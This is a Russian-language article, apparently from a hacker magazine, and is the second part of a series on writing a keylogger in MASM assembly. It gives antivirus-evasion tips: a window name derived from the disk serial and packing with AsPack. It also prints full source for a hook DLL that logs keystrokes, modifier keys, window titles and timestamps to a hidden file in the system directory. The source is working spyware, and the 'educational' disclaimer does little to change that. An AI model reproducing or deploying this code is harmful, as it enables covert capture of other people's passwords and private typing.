Продолжаем цикл статей по написанию
клавиатурного шпиона на асме. Первую часть
можно найти на www.danil.dp.ua.
Во-первых, об антивирах. У большинства самых
распространенных антивирей система такая:
они не могут отслеживать куски кода на все
виры и ловят функцию WinAPI CreateWindowEx (если есть),
а точнее, ее параметр lpWindowName (третий) - если
имя есть в базе, то прога объявляется
вирусом. Система, прямо скажем, дырявая.
Можно обозвать имя каким-нибудь стандартом,
можно генерить случайным образом и т.д.
Применимо к моим двум прогам DTr (удаленное
администрирование) и Dks (клавиатурный шпион)
на www.danil.dp.ua, я решил поступить таким образом:
т.к. вначале идет проверка на запуск второй
копии по имени приложения, то имя генерится
с привязкой к железу, а именно - к винту. На
двух компах имена будут разными и проверка
на запуск второго экземпляра тоже будет
выполняться. Для получения серийного
номера винта воспользуемся функцией
GetVolumeInformation. В качестве параметров она имеет:

lpRootPathName - адрес строки-каталога (C:\);
lpVolumeNameBuffer - адрес строки-метки диска;
nVolumeNameSize - длина lpVolumeNameBuffer;
lpVolumeSerialNumber - адрес серийного номера винта;
lpMaximumComponentLength - адрес of system's maximum filename length;
lpFileSystemFlags - флаг, обозначающий файловую
систему;
lpFileSystemNameBuffer - адрес строки - типа файловой
системы (FAT, NTFS); 
nFileSystemNameSize - длина строки - типа файловой
системы.

Нас интересует третий параметр - серийный
номер винта. В первой статье я дал исходники
Dks v.1.0. Модифицируем их таким образом:
параметр "AppName" удалим из раздела
констант, запишем в раздел переменных "AppName
db (100) dup (?)", добавим константу "ListFileStr1 db
"C:\",0" и изменим раздел кода:

; Раздел кода
.CODE
start: 
; Если прога уже запущена - выход
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit 
; SKIP
на:

; Раздел кода
.CODE
start: 
invoke GetVolumeInformation, addr ListFileStr1, addr CommandStr1, MAX_PATH, addr
dll0, cmd, dll1, addr CommandStr2, MAX_PATH
invoke dwtoa, dll0, addr AppName
invoke lstrcat, addr AppName, addr ListFileStr1
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit
; SKIP

Теперь в "AppName" будет номер нашего
винта и "C:\" на конце.

Во-вторых, нужно убрать главный глюк первой
версии - отследить повторения (Ctrl+, Alt+ и Shift+).
Нажатие Alt можно отследить через параметр
lParam. 29 бит этого параметра содержит нужный
нам флаг: 1 - нажато, 0 - отжато. Обработать lParam
можно так: ввести переменную
00100000000000000000000000000000 (в двоичной системе
счисления, в десятичной это будет 536870912), и
произвести операцию and с lParam и введенной
переменной. Если полученное значение будет
0 - флаг нулевой, иначе нет. Отследить
нажатие Ctrl и Shift можно через функцию WinAPI
GetKeyState, вызывая ее с параметрами VK_CONTROL и
VK_SHIFT. Исходники нашей дополнительной dll
будут выглядеть так:

.386
.model flat, stdcall
option casemap :none 
; =================================================
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib 
;-------------Дополнительная функция
DksKeySave PROTO
;------------Константы, переменные
.data
Hook2 dd ? 
Flash0 db 13,10,0
DopK db 50 dup(?)
DopK0 db 4 dup(?)
BufKey0 db 1000 dup(?)
BufKey1 db 1500 dup(?)
BufKey db 1500 dup(?)
BoolKey dd ?
LenKey1 dd ?
LenKey2 dd ?
NilStr db " ",0
DateStr1 db "dd.MM.yyyy",0
DateStr2 db "hh : mm : ss",0
DateStr3 db " ",0
DopStr1 db "WRITE IN FILE ",0
DopStr2 db
"---------------------------------------------------------------------------",0
DopStr3 db "ACTIVE WINDOW (TITLE): ",0
DopStr4 db "ACTIVATE (day.month.year, hour:min:sec) ",0
RegValue2 db "ks000log.txt" ,0
Flash1 db "\",0
cmd1 dd ?
Key1 db "Shift+",0
Key2 db "Ctrl+",0 
Key3 equ 536870912
Key4 db "Alt+",0 
; =================================================
;------------Раздел кода
.code
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
.IF reason == DLL_PROCESS_ATTACH
mov LenKey1,0
mov LenKey2,0
mov BoolKey,0 
mov eax, TRUE
ret
.ELSEIF reason == DLL_PROCESS_DETACH
.IF (BoolKey != 0)
invoke lstrcpy, addr BufKey1, addr BufKey
invoke DksKeySave
.ENDIF
.ENDIF
ret
LibMain Endp
; =================================================
DksKeyProc proc nCode0: DWORD, wParam0: WPARAM, lParam0: LPARAM
.IF nCode0 == HC_ACTION
mov eax, lParam0
shr eax,16
and eax, KF_UP
.IF (eax == 0)
mov BoolKey,1
.IF LenKey2 == 0
invoke lstrcpy, addr BufKey, addr DopStr4
invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof
BufKey0
invoke lstrcat, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr DateStr3
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr
BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr Flash0
invoke lstrcat, addr BufKey, addr DopStr3
invoke GetForegroundWindow
.IF eax != 0 
invoke SendMessage, eax, WM_GETTEXT, 1024, addr BufKey0
.ENDIF
invoke lstrcat, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr Flash0
invoke lstrcat, addr BufKey, addr Flash0
invoke lstrlen, addr BufKey
mov LenKey2, eax
.ENDIF
invoke GetKeyNameText, lParam0, addr DopK, sizeof DopK
;------------Копируем в DopK0 3 первых символа с DopK
invoke lstrcpyn, addr DopK0, addr DopK, 4
;------------Если Shift, Alt, Ctrl - выходим
.IF dword ptr [DopK0] == "ihS"
.ELSEIF dword ptr [DopK0] == "tlA"
.ELSEIF dword ptr [DopK0] == "rtC"
.ELSE 
;------------Если +Shift
invoke GetKeyState, VK_SHIFT
.IF eax > 1
invoke lstrcat, addr BufKey, addr Key1
.ENDIF
;------------Если +Ctrl
invoke GetKeyState, VK_CONTROL
.IF eax > 1
invoke lstrcat, addr BufKey, addr Key2
.ENDIF
;------------Если +Alt
mov eax, lParam0
and eax, Key3
.IF eax != 0
invoke lstrcat, addr BufKey, addr Key4
.ENDIF
invoke lstrcat, addr BufKey, addr DopK
invoke lstrcat, addr BufKey, addr DateStr3
invoke lstrlen, addr DopK
add LenKey1, eax
add LenKey1, 3
.IF LenKey1 >=100
invoke lstrcat, addr BufKey, addr Flash0
mov eax, LenKey1
add LenKey2, eax
mov LenKey1,0
.ENDIF 
.IF LenKey2 >=1000
invoke lstrcpy, addr BufKey1, addr BufKey
mov LenKey1,0
mov LenKey2,0
invoke DksKeySave
.ENDIF
mov eax,0
ret 
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, Hook2 ,nCode0, wParam0, lParam0
ret 
DksKeyProc endp
;------------Сохранить в файл
; =================================================
DksKeySave proc 
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr DopStr1
invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof
BufKey0
invoke lstrcat, addr BufKey1, addr BufKey0
invoke lstrcat, addr BufKey1, addr DateStr3
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr
BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey1, addr BufKey0
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr DopStr2
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr Flash0
invoke GetSystemDirectory , addr BufKey0, sizeof BufKey0
invoke lstrcat,addr BufKey0, addr Flash1
invoke lstrcat, addr BufKey0, addr RegValue2
invoke _lopen, addr BufKey0, OF_WRITE
mov cmd1,eax
.IF eax == 4294967295
invoke _lcreat, addr BufKey0, 4
mov cmd1,eax
.ELSE 
invoke _llseek, cmd1, 0, FILE_END
.ENDIF 
.IF cmd1 != 4294967295
invoke lstrlen, addr BufKey1
invoke _lwrite, cmd1, addr BufKey1, eax
invoke _lclose, cmd1
.ENDIF
ret
DksKeySave endp 
End LibMain

Формируем DLL, сжимаем AsPack-ом. Помещаем DLL в
текст программы (см. первую статью). Все.

Исходники: dks_src.zip

P.S. Статья и программа предоставлена в
целях обучения и вся ответственность за их
использование целиком ложится на твои
хилые плечи.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии